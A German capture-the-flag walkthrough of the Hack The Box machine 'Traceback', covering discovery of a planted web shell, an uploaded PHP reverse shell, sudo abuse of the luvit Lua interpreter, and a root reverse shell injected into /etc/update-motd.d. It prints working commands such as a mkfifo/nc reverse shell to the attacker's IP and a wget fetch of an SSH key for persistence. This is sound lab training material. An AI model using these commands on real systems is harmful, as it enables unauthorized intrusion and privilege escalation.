HTB – Traceback
Eine kurze Einleitung zu Hack The Box findet ihr unter HTB – OpenAdmin.
Traceback
Bei Traceback geht es um einen Server, welcher zuvor wohl schon gehackt wurde. Der Hacker hat uns ein kleines „Tool“ da gelassen, welches wir zuerst finden müssen. Nachdem wir über das Tool eine Shell aufgebaut haben kommen wir zum zweiten User über eine spezielle Scriptengine. Der Weg zum Root Zugriff ist zwar schnell erkannt, jedoch in der Umsetzung etwas tricky, mit Schnelligkeit und über ein Modul, welches eig. zum anzeigen von Nachrichten gedacht ist, bekommt man eine Shell als Root.
Port Scan
Ich starte mit dem Portscan
nmap -sV -sC -oA nmap 10.10.10.181
Nmap findet zwei offene Ports: 80 und 22
Geht man über 10.10.10.181 auf die Website sieht man das Folgende
Ein Blick in den Quellcode verrät uns eine interessante info
Es scheint wohl eine web shell auf dem Server zu liegen, die Frage ist welche und wie ich an diese ran komme.
Ich starte zuerst einen normalen Verzeichnis-Scan mit
gobuster dir -w usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.181
Kann darüber aber nichts brauchbares finden.
Ich google daher mal nach „best web shells“ und schau mir die Ergebnisse an.
Unter https://github.com/x-o-r-r-o/PHP-Webshells-Collection finde ich eine ganze reihe von Webshells, zu viele um diese per Hand zu testen.
Ich clone mir das repository und erstell mir eine eigene kleine wordlist für gobuster
git clone https://github.com/x-o-r-r-o/PHP-Webshells-Collection
ls PHP-Webshells-Collection > shells.txt
Gobuster findet auch hierzu kein Ergebnis also probiere ich das nächste Ergebnis von Google: https://github.com/TheBinitGhimire/Web-Shells, das schaut besser aus, immerhin hat auch der Hacker xh4h diese Webshells in seinem Github: https://github.com/Xh4H/Web-Shells
git clone https://github.com/TheBinitGhimire/Web-Shells
ls Web-Shells >> PHP-Webshells-Collection/shells.txt
Und mit dieser wordlist findet gobuster etwas
Web & Reverse Shell
Über http://10.10.10.181/smevk.php kommen wir zur WebShell
Passwort uns Username sind leicht zu erraten: admin:admin
Da ich lieber direkt über eine commandline shell arbeite, lade ich mir zuerst über die Download Funktion der Webshell eine PHP Script welches mir eine reverse shell zu meiner VM aufbaut.
Ich mache zuerst einen listener bei mir auf
nc -lvnp 4040
Und rufe dann das hochgeladen PHP Script mit meiner IP und dem Port auf
http://10.10.10.181/..php?ip=10.10.15.220&port=4040
Ich bekomme eine Shell bei mir, um eine tty session zu bekommen rufe ich mir über python eine shell auf
python3 -c 'import pty; pty.spawn("/bin/bash")'
whoami zeigt wir sind als webadmin angemeldet
LUA
Im Home Verzeichnis vom webadmin, finde ich einen interessanten Hinweiß vom User sysadmin.
Bei HB – OpenAdmin hab ich gelernt, einer der ersten Befehle, welchen man testen sollte ist sudo -l
denn dieser zeigt, ob ein User ggf. etwas mit erweiterten Rechten ausführen darf.
Ich habe Glück und sehe, dass der User sysadmin das Programm, luvit ohne Passworteingabe aufrufen darf.
Google bringt mich zu der Seite https://luvit.io/ dort kann ich sehen, dass luvit wohl ein – oder der? – intrepreter für die skriptsprache LUA ist.
Das heißt, ich kann als user sysadmin lua scripte ausführen ohne das Kennwort für den user sysadmin eingeben zu müssen.
Ich google kurz wie man mit LUA binarys ausführen kann und finde auch direkt eine Antwort auf https://stackoverflow.com/questions/2829404/how-do-i-run-an-executable-using-lua
Ich erstelle mir also kurzerhand ein eigenes lau script (test.lua) welches mir eine Shell aufruft.
echo "os.execute(\"/bin/bash\")" > test.lua
Und rufe dieses als user sysadmin auf
sudo -u sysadmin /home/sysadmin/luvit test.lua
Nun haben wir eine Shell als sysadmin.
Im home Verzeichnis finden wir auch unsere erste Flag „user.txt“
update-motd.d
Ich schau mich ein bisschen um und finde unter /etc/ das Verzeichnis update-motd.d
auf welches die Gruppe sysadmin Berechtigungen hat.
Ich google mal wieder und finde zu update-motd.d
folgende MAN Page http://manpages.ubuntu.com/manpages/trusty/man5/update-motd.5.html
Die Erweiterung ermöglicht es die „message of the day“ über das Ausführen von binaries zu erstellen bzw. zu erweitert.
Ich schau mir den Inhalt der Dateien an, kann aber nichts interessantes finden, jedoch hab ich auf alle Dateien schreibrechte.
Ich erweitere also die 00-header Datei und schau was passiert wenn ich diese Aufrufe.
echo "whoami" >> 00-header
Ergebnis: nichts. Ich schau nochmal in die Datei und stelle fest das meine Änderung nicht mehr vorhanden sind. Mit
ls -la --time-style=full-iso
schau ich mir die Zeitstempel an und stelle fest, dass die Dateien alle 30 Sekunden geändert bzw. überschrieben werden.
Das heißt, wenn ich meine Änderung gut time, hab ich anschließend max. 30 um mich anzumelden damit die motd (message of the day) ausgeführt wird.
Da ich weder das Kennwort vom webadmin noch vom sysadmin habe, kann ich mich nicht anmelden, was aber notwendig ist da nur dann die motd als root ausgeführt wird.
Ein Login Versuch über SSH zeigt mir, dass neben der Kennwort Authentifizierung auch Puplickey erlaubt ist
Ich erstelle mir also lokal eine SSH KeyPair (pip & pip.pub), starte über python einen webserver, lade den Public Key pip.pub auf das Zielsystem und kopiere ihn in die authorized_key Datei.
Lokal
ssh-keygen python3 -m http.server --bind 10.10.15.220 8080
Auf Traceback
wget http://10.10.15.220:8080/pip.pub cat pip.pub >> .ssh/authorized_keys
Jetzt kann ich mich per SSH anmelden und sehe die motd.
Root
Nachdem es schnell gehen muss, bereite ich alles vor:
1. In einem Terminal (angemeldet als sysadmin) erstelle ich mir einen Befehl, welcher die 00-header Datei erweitert.
echo "mkfifo /tmp/p; nc 10.10.15.220 4444 0</tmp/p | /bin/sh > /tmp/p 2>&1; rm /tmp/p" >> /etc/update-motd.d/00-header
Der Befehl mkfifo /tmp/p; nc 10.10.15.220 4444 0</tmp/p | /bin/sh > /tmp/p 2>&1; rm /tmp/p"
baut eine revers shell zu mir über port 4444 auf.
2. In zweiten Terminal starte ich einen listener der die reverse Shell empfängt
nc -lvnp 4444
3. Das dritte Terminal verwende ich, um mich per ssh auf die Maschine zu verbinden und somit die Ausführung der update-motd.d Dateien auszulösen.
Punkt 1 und 3 müssen schnell gehen da ich dafür nur 30 Sekunden habe. Ich starte daher zuerst den listener (2) und danach führe anschließend 1 und 3 direkt hintereinander aus.
Das Ergebnis: In Terminal 2 empfangen wir ein shell und zwar als root.
Mit python3 -c 'import pty; pty.spawn("/bin/bash")'
erzeuge ich mir eine tty session.
Im root Verzeichnis finden wir die root.txt
Aus Interesse schau ich mir noch an die CronJobs an
Hier sieht man das alle 30 Sekunden der Inhalt von /var/backups/.update-motd.d/ nach /etc/update.motd.d geschrieben wird, das erklärt warum diese Dateien alle 30 Sekunden geändert werden.